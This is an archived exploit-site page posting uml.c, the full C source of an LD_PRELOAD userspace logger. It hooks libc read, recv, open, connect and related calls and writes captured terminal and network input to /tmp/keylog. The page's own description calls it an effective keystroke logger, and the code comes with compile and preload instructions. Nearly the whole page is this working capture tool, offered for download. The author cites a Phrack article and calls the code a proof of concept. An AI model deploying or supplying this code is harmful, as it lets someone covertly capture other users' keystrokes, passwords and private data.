exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

uml.c

uml.c
Posted Oct 24, 2004
Authored by embyte | Site spine-group.org

UmL - Userspace Logger. This is functioning code based on the the example given in the article in Phrack 51 entitled "Shared Library Redirection". The following functions are logged: read()/recv() output and intercepts open(), open64(), close(), socket(), connect(), exit(). This is an effective keystroke logger, among other things, despite that the author says it is only at the Proof-of-Concept phase. License: GPL2. Version 0.0.2 testing.

tags | system logging
systems | unix
SHA-256 | d2553958c615551070ee685fb398040eefcef6ae792f7601a2657a75f7a43a62

uml.c

Change Mirror Download
/*
uml.c - v. 0.0.2 testing
Copyright (C) october.2004 embyte

UmL is an userspace logger which doesn't require r00t privileges.
It works hijacking libc functs like described by halflife in
"Shared Library Redirection" (Phrack 51).

UmL logs read()/recv() output and intercepts open(), open64(), close(),
socket(), connect(), exit(). There are many other important functions
like recvfrom()/recvmsg(), fopen(), write(), etc... but this code it's
only a proof on concept ;-)

Written by embyte <embyte@spine-group.org>
Tested on Linux 2.6.7, glibc 2.3.2 and gcc 3.3.4

Compile and run with
$ gcc -g -Wall -fPIC -DDEBUG -c uml.c (you can disable DEBUG)
$ ld -Bshareable -o uml.so uml.o -ldl
$ setenv LD_PRELOAD `pwd`/uml.so (export for bash)

This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*/

#define _GNU_SOURCE
#define __USE_GNU
#include <stdlib.h> // free() malloc()
#include <dlfcn.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdarg.h>
#include <string.h> // memset()
#include <ctype.h> // isprint()
#include <time.h> // localtime functs

#include <sys/types.h>
#include <sys/socket.h> // socket()
#include <netinet/in.h>
#include <arpa/inet.h>

/* !!! modify here !!! */
#define LIBC_PATH "/lib/libc.so.6" // libc path
#define LOGFILE "/tmp/keylog" // logfile path
/* !!! */

#define CMD_SIZE 128
#define BUF_SIZE 256 // buffer for log
#define TIME_SIZE 9 // H:M:S

/**************
* global vars *
**************/

// o_ pointers
static ssize_t (*o_read)(int fd, void *buf, size_t count); // point to real read()
static int (*o_socket)(int domain, int type, int protocol); // point to real socket()
static int (*o_connect)(int sockfd, const struct sockaddr *serv_addr, socklen_t addrlen);
static int (*o_close) (int fd);
static int (*o_open)(const char *pathname, int flags, ...);
static int (*o_open64)(const char *pathname, int flags, ...);
static void (*o_exit)(int status);
static ssize_t (*o_recv)(int s, void *buf, size_t len, int flags);

// vars
int logfile;
char logbuf[BUF_SIZE];
char now[TIME_SIZE];
struct
{
pid_t pid;
char cmd[CMD_SIZE];
}
pinfo;

// funct protos
void my_log(const char *fmt, ...);
void whois(void);
void get_time(void);
void print_log (const char *p, size_t len);
int get_syms(void);
void _init(void);

// hooked functs
ssize_t read(int fd, void *buf, size_t count);
int connect(int sockfd, const struct sockaddr *serv_addr, socklen_t addrlen);
int socket(int domain, int type, int protocol);
int close(int fd);
int open(const char *pathname, int flags, ...);
int open64(const char *pathname, int flags, ...);
void exit(int status);
ssize_t recv(int s, void *buf, size_t len, int flags);

/*****************
* implementation *
*****************/

// log to LOGFILE with printf() format
void my_log(const char *fmt, ...)
{
char *s;
u_int s_SIZE;
va_list ap;
va_start (ap, fmt);

if ((s_SIZE=vasprintf(&s, fmt, ap))<0)
{
#ifdef DEBUG
write (logfile, "error allocation space for logfile\n", 36);
#endif
return;
}
write (logfile, s, s_SIZE);
if (s)
free (s);
}

// ask for program command line
void whois (void)
{
char *path;
FILE *f;

#define PATH_SIZE 128

// malloc and clean strings
path=(char *)malloc(PATH_SIZE);
memset (path, 0, PATH_SIZE);
memset (pinfo.cmd, 0 , PATH_SIZE);

// open and read file
sprintf (path, "/proc/%d/cmdline", (int) pinfo.pid);
if ((f = fopen (path, "r"))==NULL)
{
#ifdef DEBUG
my_log ( "error finding command line from /proc\n");
#endif
strncpy (pinfo.cmd, "unknow", 6);
return;
}
if (path)
free (path);

fgets (pinfo.cmd, CMD_SIZE, f); // cmdline long
fclose (f);
}

// get time
void get_time(void)
{
time_t t;
struct tm *mytm;

memset (now, 0, TIME_SIZE); // clean time

time(&t);
mytm = localtime(&t);
strftime(now, TIME_SIZE, "%H:%M:%S", mytm);
}

// print correct chars to log (used for read() and recv()
void print_log (const char *p, size_t len)
{
u_short i;
char c;

for (i=0; i<len; i++)
{
if (isprint((int)p[i]) || p[i]=='\n')
write (logfile, &(p[i]), 1);
else if (p[i]=='\r')
{
c='\n';
write (logfile, &c, 1);
}
}

if (p[i-1]!='\r' && p[i-1]!='\n') // check for enter..
{
c='\n';
write (logfile, &c, 1);
}
}

// resolve shared symbols
int get_sym(void)
{
void *handle=dlopen(LIBC_PATH, RTLD_NOW|RTLD_GLOBAL);
if (handle==NULL)
return (-1);

if ((o_read=dlsym(handle, "read"))==NULL)
return (-1);
if ((o_socket=dlsym(handle, "socket"))==NULL)
return (-1);
if ((o_connect=dlsym(handle, "connect"))==NULL)
return (-1);
if ((o_close=dlsym(handle, "close"))==NULL)
return (-1);
if ((o_open=dlsym(handle, "open"))==NULL)
return (-1);
if ((o_open64=dlsym(handle, "open64"))==NULL)
return (-1);
if ((o_exit=dlsym(handle, "exit"))==NULL)
return (-1);
if ((o_recv=dlsym(handle, "recv"))==NULL)
return (-1);

return 0;
}

// init function
void _init(void)
{
// get sym
if (get_sym()<0)
exit (-1);

// open logfile only now, else with have problem with o_* NULL pointer
logfile = o_open (LOGFILE, O_APPEND|O_WRONLY|O_CREAT, S_IRUSR|S_IWUSR);

pinfo.pid = getpid(); // get process PID
whois(); // get cmdline

#ifdef DEBUG
get_time();
my_log ("\n*** [%s] library loaded for `%s` (PID %d) ***\n", now, pinfo.cmd, pinfo.pid);
#endif
}

// hijacked functions
ssize_t read (int fd, void *buf, size_t count)
{
ssize_t retval;

retval=o_read(fd, buf, count);

my_log ("*** %d (%s): read() from fd %d ***\n", pinfo.pid, pinfo.cmd, fd);

if (retval>0)
{
char *p=buf;
print_log (p, retval);
}

return retval;
}

ssize_t recv(int s, void *buf, size_t len, int flags)
{
ssize_t retval=o_recv(s, buf, len, flags);

my_log ("*** %d (%s): recv() from fd %d ***\n", pinfo.pid, pinfo.cmd, s);

if (retval>0)
{
char *p=buf;
print_log (p, retval);
}

return retval;
}

int socket (int domain, int type, int protocol)
{
int retval;

retval=o_socket (domain, type, protocol);
my_log ("*** %d: socket() return fd %d ***\n", pinfo.pid, retval);

return retval;
}

int close (int fd)
{
my_log ("*** %d: close() fd %d ***\n", pinfo.pid, fd);
return (o_close(fd));
}

int connect (int sockfd, const struct sockaddr *serv_addr, socklen_t addrlen)
{
struct sockaddr_in *address;

address = (struct sockaddr_in *) serv_addr;
my_log ("*** %d: connect() over %d for %s:%d ***\n", pinfo.pid,
sockfd, inet_ntoa(address->sin_addr), (int) address->sin_port);

return (o_connect (sockfd, serv_addr, addrlen));
}

void exit (int status)
{
#ifdef DEBUG
my_log ("*** %d: exit(%d) ***\n", pinfo.pid, status);
#endif
// close logfile and exit
o_close (logfile);
o_exit (status);
}

int open (const char *pathname, int flags, ...)
{
int mode;
int retval;

// open a new file
// see open(2)
if (flags & O_CREAT)
{
va_list arg;
va_start(arg, flags);
mode = va_arg(arg, int);
va_end(arg);

retval=o_open(pathname, flags, mode);
}
else
{
retval=o_open(pathname, flags);
}

my_log ("*** %d: open(%s) return fd %d ***\n", pinfo.pid, pathname, retval);
return retval;
}

int open64(const char *pathname, int flags, ...)
{
int mode;
int retval;

if (flags & O_CREAT)
{
va_list arg;
va_start(arg, flags);
mode = va_arg(arg, int);
va_end(arg);

retval=o_open64(pathname, flags, mode);
}
else
{
retval=o_open64(pathname, flags);
}

my_log ("*** %d: open64(%s) return fd %d ***\n", pinfo.pid, pathname, retval);
return retval;
}

/* EOF */
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    69 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close